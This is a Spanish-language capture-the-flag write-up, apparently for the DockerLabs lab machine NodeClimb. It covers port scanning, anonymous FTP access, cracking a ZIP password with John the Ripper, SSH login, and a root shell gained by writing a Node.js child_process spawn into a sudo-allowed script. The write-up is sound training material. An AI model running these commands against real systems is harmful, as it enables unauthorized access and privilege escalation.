> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/nodeclimb.md).

# NodeClimb

#### **Despliegue de la Máquina:**

**1. Descarga:**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **NodeClimb** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

**2. Descompresión:**

Utilizamos la herramienta `7z` para extraer los archivos:

```bash
7z x nodeclimb.zip
```

<figure><img src="/files/7rVvLMwZhhIGsPdVD6yd" alt=""><figcaption></figcaption></figure>

**3. Ejecución:**

Desplegamos la máquina con el script proporcionado:

```bash
bash auto_deploy.sh nodeclimb.tar
```

<figure><img src="/files/vM180eLEKZDCDF2EnVox" alt=""><figcaption></figcaption></figure>

**Resultado:** La máquina se inicia correctamente con la IP `172.17.0.2`.

***

#### **Reconocimiento:**

**1. Verificación de Conectividad:**

Realizamos un `ping` para confirmar que la máquina está activa:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="/files/9irEyDMhLigAPLAbX42c" alt=""><figcaption></figcaption></figure>

**Observación:** El valor `TTL=64` indica que el sistema operativo es **Linux** (los sistemas Windows suelen tener `TTL=128`).

**2. Escaneo de Puertos:**

Ejecutamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

<figure><img src="/files/1ERucbyEGojH8GbLiKq2" alt=""><figcaption></figcaption></figure>

**Puertos abiertos detectados:**

* **Puerto 21:** `FTP`.
* **Puerto 22:** `SSH`.

**3. Análisis Detallado de Servicios:**

Realizamos un escaneo más exhaustivo para identificar versiones y servicios:

```bash
nmap -p21,22 -sCV 172.17.0.2 -oN targeted
```

<figure><img src="/files/5t9zBCSMufyRLuHHIAal" alt=""><figcaption></figcaption></figure>

**Resultados:**

* **FTP (vsftpd 3.0.3):** Permite acceso anónimo (`Anonymous FTP login allowed`).
* **SSH (OpenSSH 9.2p1):** Servicio SSH estándar en sistemas Debian.

***

#### **Explotación:**

**1. Acceso al Servicio FTP:**

Nos conectamos al servicio FTP con el usuario `anonymous`:

```bash
ftp anonymous@172.17.0.2
```

**Archivo encontrado:** `secretitopicaron.zip` (un archivo comprimido protegido con contraseña).

Descargamos el archivo a nuestro equipo local:

```bash
get secretitopicaron.zip
```

<figure><img src="/files/NbimiGErVmNfiA1g0gdC" alt=""><figcaption></figcaption></figure>

**2. Fuerza Bruta al Archivo ZIP:**

Utilizamos `zip2john` para extraer el hash de la contraseña del archivo ZIP:

```bash
zip2john secretitopicaron.zip > hash
```

<figure><img src="/files/m18aWPAvHWb3ir9EDS7k" alt=""><figcaption></figcaption></figure>

Aplicamos fuerza bruta con el diccionario `rockyou.txt` para obtener la contraseña del archivo comprimido:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="/files/yAyODtcw9P7bVE8JaQSM" alt=""><figcaption></figcaption></figure>

**Resultado:** Obtenemos la contraseña del archivo ZIP.

**3. Extracción del Archivo ZIP:**

Descomprimimos el archivo con `7z`:

```bash
7z x secretitopicaron.zip
```

<figure><img src="/files/gHvJsUsS2bEZcWzErfSf" alt=""><figcaption></figcaption></figure>

**Contenido del archivo:** Un archivo de texto con credenciales, para conectarnos por SSH.

<figure><img src="/files/G05n8KieF0otKUt5VZTO" alt=""><figcaption></figcaption></figure>

**4. Conexión SSH:**

Nos conectamos a la máquina con las credenciales obtenidas:

```bash
ssh mario@172.17.0.2
```

<figure><img src="/files/ETL2w7tVhNkbFTGwi9kj" alt=""><figcaption></figcaption></figure>

***

#### **Escalada de Privilegios:**

**1. Análisis de Permisos Sudo:**

Verificamos los comandos que el usuario `mario` puede ejecutar con sudo:

```bash
sudo -l
```

<figure><img src="/files/8iJwFqW1Hlrojl3JKuBw" alt=""><figcaption></figcaption></figure>

**Resultado:**

```bash
(ALL) NOPASSWD: /usr/bin/node /home/mario/script.js
```

El usuario puede ejecutar un script Node.js (`script.js`) como `root` sin proporcionar contraseña.

**2. Manipulación del Script:**

Inspeccionamos el contenido del script:

```bash
cat script.js
```

<figure><img src="/files/55AwcTZV0mmGiMpQ7XN4" alt=""><figcaption></figcaption></figure>

**Observación:** El archivo está vacío y tenemos permisos para modificarlo.

Insertamos un código malicioso para generar una shell con privilegios de `root`:

```bash
echo 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})' > script.js
```

**Explicación:**

* El código utiliza el módulo `child_process` de Node.js para ejecutar una shell (`/bin/sh`).
* `stdio: [0, 1, 2]` redirige la entrada, salida y errores estándar para interactuar con la shell.

<figure><img src="/files/858b7CuWgmzXmoDr2wBL" alt=""><figcaption></figcaption></figure>

**3. Ejecución del Script:**

Ejecutamos el script con `sudo`:

```bash
sudo /usr/bin/node /home/mario/script.js
```

<figure><img src="/files/1wb3CaSgPVe0rr8NPyfG" alt=""><figcaption></figcaption></figure>

**Resultado:** Obtenemos una shell con privilegios de `root`.
